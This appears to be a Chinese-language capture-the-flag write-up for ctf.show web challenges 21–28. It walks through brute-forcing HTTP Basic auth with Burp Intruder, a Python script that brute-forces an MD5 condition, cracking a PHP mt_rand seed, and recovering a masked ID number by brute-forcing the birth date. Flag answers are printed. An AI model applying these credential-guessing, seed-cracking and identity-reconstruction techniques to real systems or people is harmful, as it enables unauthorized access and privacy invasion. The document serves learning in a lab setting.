web21
需要用户名和密码才能继续访问
用户名猜一下admin
传到bp里爆破
GET / HTTP/1.1 Host: bb20197e-b7cb-42b4-a3ca-0d5a06291357.challenge.ctf.show Cache-Control: max-age=0 Authorization: Basic MTExMTExMTExOjExMTExMTExMTExMTE= Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive
|
我们注意到,
MTExMTExMTExOjExMTExMTExMTExMTE=
|
是我们刚刚随便输入的密码,中间被:分隔,再被base64编码了一次,传输到intruder里
标为payload处,设置条件
1.前缀admin:
2.base64编码
记得取消url编码
开始爆破
HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 02 Jul 2025 12:27:20 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive X-Powered-By: PHP/7.3.11 Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection Access-Control-Max-Age: 1728000 Content-Length: 45
ctfshow{13e7a194-6d9a-4ed5-ae80-c51da9f628d8}
|
得到flag
ctfshow{13e7a194-6d9a-4ed5-ae80-c51da9f628d8}
|
web22
官方域名失效
web23
<?php
error_reporting(0);
include('flag.php'); if(isset($_GET['token'])){ $token = md5($_GET['token']); if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){ echo $flag; } } }else{ highlight_file(__FILE__);
} ?>
|
拿到题目,先对题目进行分析
传入token
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
|
要求token的MD5 的第 2 位、第 15 位、第 18 位字符必须相同
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
|
把第 2、第 15、第 18 位字符转为数字(intval()),求和后除以其中一个(第 2 位),要求等于第 32 位字符的数值。
使用python脚本爆破得到符合题意的token
import hashlib
def check(md5_str): c1 = md5_str[1] c2 = md5_str[14] c3 = md5_str[17] c4 = md5_str[31]
if c1 != c2 or c2 != c3: return False
try: n1 = int(c1) n2 = int(c2) n3 = int(c3) n4 = int(c4) except: return False
if n1 == 0: return False
result = (n1 + n2 + n3) / n1 return result == n4
for i in range(0, 1000000): s = str(i) md5_val = hashlib.md5(s.encode()).hexdigest() if check(md5_val): print(f"[+] Found! Input: {s}") print(f"MD5: {md5_val}") break
|
最终得到token的值为422
提交得到flag
ctfshow{fd42cfa8-7422-4cba-b7c0-d5b628b0c492}
|
web24
mt_sand()伪随机数
mt_rand() 是 PHP 中的一个函数,用于生成 伪随机整数,它的全称是 Mersenne Twister random。它比早期的 rand() 函数速度更快、随机性更好,因此通常建议使用 mt_rand() 替代 rand()。
这里给定了随机数种子372619038
若传递的r的值与随机出的一个值相同,就能得到flag
但mt_seed给定了种子,得到的随机数每一次都是相同的,我们可以提前运行一次mt_rand(372619038),把得到的值传递给r,就能得到flag
<?php mt_srand(372619038); echo mt_rand().'<br>'; ?>
|
得到运行结果1155388967,将其传给r,得到flag
web25
<?php
error_reporting(0); include("flag.php"); if(isset($_GET['r'])){ $r = $_GET['r']; mt_srand(hexdec(substr(md5($flag), 0,8))); $rand = intval($r)-intval(mt_rand()); if((!$rand)){ if($_COOKIE['token']==(mt_rand()+mt_rand())){ echo $flag; } }else{ echo $rand; } }else{ highlight_file(__FILE__); echo system('cat /proc/version'); }
|
我的理解:
首先需要了解的几个值
1.种子:这里被设定为flag的md5值中截取8位数,作为种子数
确定了种子后,mt_rand()的每一次值都是确定的
2.r,r是我们传递的数,对破解种子和后面if(!$rand)起作用
3.rand,rand是 r与第一次mt_rand之差
接下来我们确定做题步骤
1.得到第一次mt_rand
我们可以通过设置r=0,得到-mt_rand
2.反向破解mt_rand,得到种子,有了种子,我们就能得到每一次mt_rand的值,最后得到flag
这里需要借助到反向破解mt_rand的工具:php_mt_seed
我们将mt_sand的值传入后,得到了很多值,这些种子运算一次得到的都是同一个值,
我们通过php的版本,得到可能是我们的种子,不多,多试几次就出来了
,有了种子,事情就好解决了
3.if(!$rand),rand的值必须为0,这样!0才会为真,让r=第一次mt_rand(),这样rand为0,进入下一步
4.传入token,用burpsuite也行,hackbar也行,传入token,得到flag
ctfshow{069a6013-d7e1-42a7-a6e5-0ca9e710f2fa}
|
web26
就是爆破一个密码值,爆出来就有flag了
ctfshow{68667d15-bbbf-43e2-9184-b74dbfbfb408}
|
web27
在录取名单中,我们能看到一些学生的姓名和部分身份证号,
我们选择迫害郎康焕同学()
很巧,522601********8092米被码住的地方是生日,我们选择使用bp,在查询系统中用日期爆破
最终得到身份证号:522601199210248092
接下来就用它拿到学号
恭喜您,您已被我校录取,你的学号为10248092 初始密码为身份证号码
|
至此
郎康焕 522601199210248092 10248092
|
登录后得到flag
恭喜您,登陆成功!ctfshow{f706753e-aa01-4cd7-8af8-7f1825c4f70b}
|
web28
拿到题目,看到url中有0/1/2.txt
在0和1两处添加payload位置,爆破后在72/20/处找到flag
ctfshow{205b50db-6eb2-4035-933c-3f3d1f3cb2e1}
|